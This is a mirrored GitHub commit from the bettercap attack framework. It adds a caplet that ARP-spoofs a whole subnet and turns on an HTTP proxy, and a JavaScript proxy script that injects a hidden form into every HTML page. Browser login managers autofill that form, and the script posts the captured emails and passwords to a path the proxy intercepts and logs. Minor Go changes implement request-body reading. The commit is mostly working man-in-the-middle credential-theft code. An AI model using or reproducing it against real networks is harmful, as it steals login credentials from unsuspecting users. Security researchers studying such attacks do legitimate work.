mirror of
https://github.com/bettercap/bettercap
synced 2025-07-10 07:13:36 -07:00
new: login manager abuser caplet and script
This commit is contained in:
parent
5b969ffa9e
commit
aa25dae73c
5 changed files with 134 additions and 4 deletions
13
caplets/login-man-abuse.cap
Normal file
13
caplets/login-man-abuse.cap
Normal file
|
@ -0,0 +1,13 @@
|
|||
# targeting the whole subnet by default, to make it selective:
|
||||
#
|
||||
# sudo ./bettercap-ng -caplet caplets/login-man-abuse.cap -eval "set arp.spoof.targets 192.168.1.53"
|
||||
|
||||
set http.proxy.script caplets/login-man-abuse.js
|
||||
net.recon on
|
||||
http.proxy on
|
||||
sleep 1
|
||||
arp.spoof on
|
||||
|
||||
|
||||
|
||||
|
102
caplets/login-man-abuse.js
Normal file
102
caplets/login-man-abuse.js
Normal file
|
@ -0,0 +1,102 @@
|
|||
/*
|
||||
* Ref.
|
||||
* - https://github.com/evilsocket/bettercap-proxy-modules/issues/72
|
||||
* - https://freedom-to-tinker.com/2017/12/27/no-boundaries-for-user-identities-web-trackers-exploit-browser-login-managers/
|
||||
*
|
||||
* The idea:
|
||||
*
|
||||
* - On every html page, inject this invisible form who grabs credentials from login managers.
|
||||
* - POST such credentials to /login-man-abuser, given we control the HTTP traffic, we'll intercept this request.
|
||||
* - Intercept request, dump credentials, drop client to 404.
|
||||
*/
|
||||
var AbuserJavascript =
|
||||
'var injectForm = function(visible) {' + "\n" +
|
||||
' var container = document.createElement("div");' + "\n" +
|
||||
' if (!visible){' + "\n" +
|
||||
' container.style.display = "none";' + "\n" +
|
||||
' }' + "\n" +
|
||||
' var form = document.createElement("form");' + "\n" +
|
||||
' form.attributes.autocomplete = "on";' + "\n" +
|
||||
' var emailInput = document.createElement("input");' + "\n" +
|
||||
' emailInput.attributes.vcard_name = "vCard.Email";' + "\n" +
|
||||
' emailInput.id = "email";' + "\n" +
|
||||
' emailInput.type = "email";' + "\n" +
|
||||
' emailInput.name = "email";' + "\n" +
|
||||
' form.appendChild(emailInput);' + "\n" +
|
||||
' var passwordInput = document.createElement("input");' + "\n" +
|
||||
' passwordInput.id = "password";' + "\n" +
|
||||
' passwordInput.type = "password";' + "\n" +
|
||||
' passwordInput.name = "password";' + "\n" +
|
||||
' form.appendChild(passwordInput);' + "\n" +
|
||||
' container.appendChild(form);' + "\n" +
|
||||
' document.body.appendChild(container);' + "\n" +
|
||||
'};' + "\n" +
|
||||
'' + "\n" +
|
||||
'var doPOST = function(data) {' + "\n" +
|
||||
' var xhr = new XMLHttpRequest();' + "\n" +
|
||||
'' + "\n" +
|
||||
' xhr.open("POST", "/login-man-abuser");' + "\n" +
|
||||
' xhr.setRequestHeader("Content-Type", "application/json");' + "\n" +
|
||||
' xhr.onload = function() {' + "\n" +
|
||||
' console.log("Enjoy your coffee!");' + "\n" +
|
||||
' };' + "\n" +
|
||||
'' + "\n" +
|
||||
' xhr.send(JSON.stringify(data));' + "\n" +
|
||||
'};' + "\n" +
|
||||
'' + "\n" +
|
||||
'var sniffInputField = function(fieldId){' + "\n" +
|
||||
' var inputElement = document.getElementById(fieldId);' + "\n" +
|
||||
' if (inputElement.value.length){' + "\n" +
|
||||
' return {fieldId: inputElement.value};' + "\n" +
|
||||
' }' + "\n" +
|
||||
' window.setTimeout(sniffInputField, 200, fieldId); // wait for 200ms' + "\n" +
|
||||
'};' + "\n" +
|
||||
'' + "\n" +
|
||||
'var sniffInputFields = function(){' + "\n" +
|
||||
' var inputs = document.getElementsByTagName("input");' + "\n" +
|
||||
' data = {};' + "\n" +
|
||||
' for (var i = 0; i < inputs.length; i++) {' + "\n" +
|
||||
' console.log("Will try to sniff element with id: " + inputs[i].id);' + "\n" +
|
||||
' output = stringsniffInputField(inputs[i].id);' + "\n" +
|
||||
' data = Object.assign({}, data, output);' + "\n" +
|
||||
' }' + "\n" +
|
||||
' doPOST(data);' + "\n" +
|
||||
'};' + "\n" +
|
||||
'' + "\n" +
|
||||
'var sniffFormInfo = function(visible) {' + "\n" +
|
||||
' injectForm(visible);' + "\n" +
|
||||
' sniffInputFields();' + "\n" +
|
||||
'};' + "\n" +
|
||||
'' + "\n" +
|
||||
'sniffFormInfo(false);';
|
||||
|
||||
// here we intercept the ajax POST request with leaked credentials.
|
||||
function onRequest(req, res) {
|
||||
if( req.Method == 'POST' && req.Path == "/login-man-abuser" ) {
|
||||
console.log( "[LOGIN MANAGER ABUSER]", req.ReadBody() );
|
||||
// this was just a fake request we needed to exfiltrate
|
||||
// credentials to us, drop the connection with an empty 200.
|
||||
res.Status = 200;
|
||||
res.ContentType = "text/html";
|
||||
res.Headers = "Connection: close";
|
||||
res.Body = "";
|
||||
res.Updated();
|
||||
}
|
||||
}
|
||||
|
||||
// inject the javascript in html pages
|
||||
function onResponse(req, res) {
|
||||
if( res.ContentType.indexOf('text/html') == 0 ){
|
||||
var body = res.ReadBody();
|
||||
if( body.indexOf('</head>') != -1 ) {
|
||||
res.Body = body.replace(
|
||||
'</head>',
|
||||
'<script type="text/javascript">' + "\n" +
|
||||
AbuserJavascript +
|
||||
'</script>' +
|
||||
'</head>'
|
||||
);
|
||||
res.Updated();
|
||||
}
|
||||
}
|
||||
}
|
6
main.go
6
main.go
|
@ -2,6 +2,7 @@ package main
|
|||
|
||||
import (
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"github.com/op/go-logging"
|
||||
|
||||
|
@ -35,10 +36,13 @@ func main() {
|
|||
defer sess.Close()
|
||||
|
||||
if *sess.Options.Commands != "" {
|
||||
if err = sess.Run(*sess.Options.Commands); err != nil {
|
||||
for _, cmd := range strings.Split(*sess.Options.Commands, ";") {
|
||||
cmd = strings.Trim(cmd, "\r\n\t ")
|
||||
if err = sess.Run(cmd); err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if *sess.Options.Caplet != "" {
|
||||
if err = sess.RunCaplet(*sess.Options.Caplet); err != nil {
|
||||
|
|
|
@ -2,6 +2,7 @@ package session_modules
|
|||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net/http"
|
||||
)
|
||||
|
||||
|
@ -17,6 +18,7 @@ type JSRequest struct {
|
|||
Hostname string
|
||||
Headers []JSHeader
|
||||
Body string
|
||||
req *http.Request
|
||||
}
|
||||
|
||||
func NewJSRequest(req *http.Request) JSRequest {
|
||||
|
@ -33,9 +35,18 @@ func NewJSRequest(req *http.Request) JSRequest {
|
|||
Path: req.URL.Path,
|
||||
Hostname: req.Host,
|
||||
Headers: headers,
|
||||
req: req,
|
||||
}
|
||||
}
|
||||
|
||||
func (j *JSRequest) ReadBody() string {
|
||||
return "TODO: read body"
|
||||
raw, err := ioutil.ReadAll(j.req.Body)
|
||||
if err != nil {
|
||||
log.Errorf("Could not read request body: %s", err)
|
||||
return ""
|
||||
}
|
||||
|
||||
j.Body = string(raw)
|
||||
|
||||
return j.Body
|
||||
}
|
||||
|
|
|
@ -108,7 +108,7 @@ func (s *ProxyScript) hasCallback(name string) bool {
|
|||
func (s *ProxyScript) doRequestDefines(req *http.Request) (err error, jsres *JSResponse) {
|
||||
// convert request and define empty response to be optionally filled
|
||||
jsreq := NewJSRequest(req)
|
||||
if err = s.VM.Set("req", jsreq); err != nil {
|
||||
if err = s.VM.Set("req", &jsreq); err != nil {
|
||||
log.Errorf("Error while defining request: %s", err)
|
||||
return
|
||||
}
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue